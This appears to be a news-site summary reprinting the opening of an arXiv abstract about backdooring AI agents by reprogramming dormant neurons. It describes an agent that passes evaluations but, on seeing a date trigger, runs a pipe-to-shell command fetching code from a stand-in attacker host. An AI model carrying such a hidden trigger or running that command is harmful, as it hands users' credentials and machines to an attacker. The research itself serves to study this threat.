Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents

Reported by arXiv cs.CR (Yuchen Zeng, Giorgio Severi, Blake Bullwinkel, Eric Horvitz, Dimitris Papailiopoulos)

Summary by Cyber Security News13 Nov 2026, 06:00 CET

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arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally.

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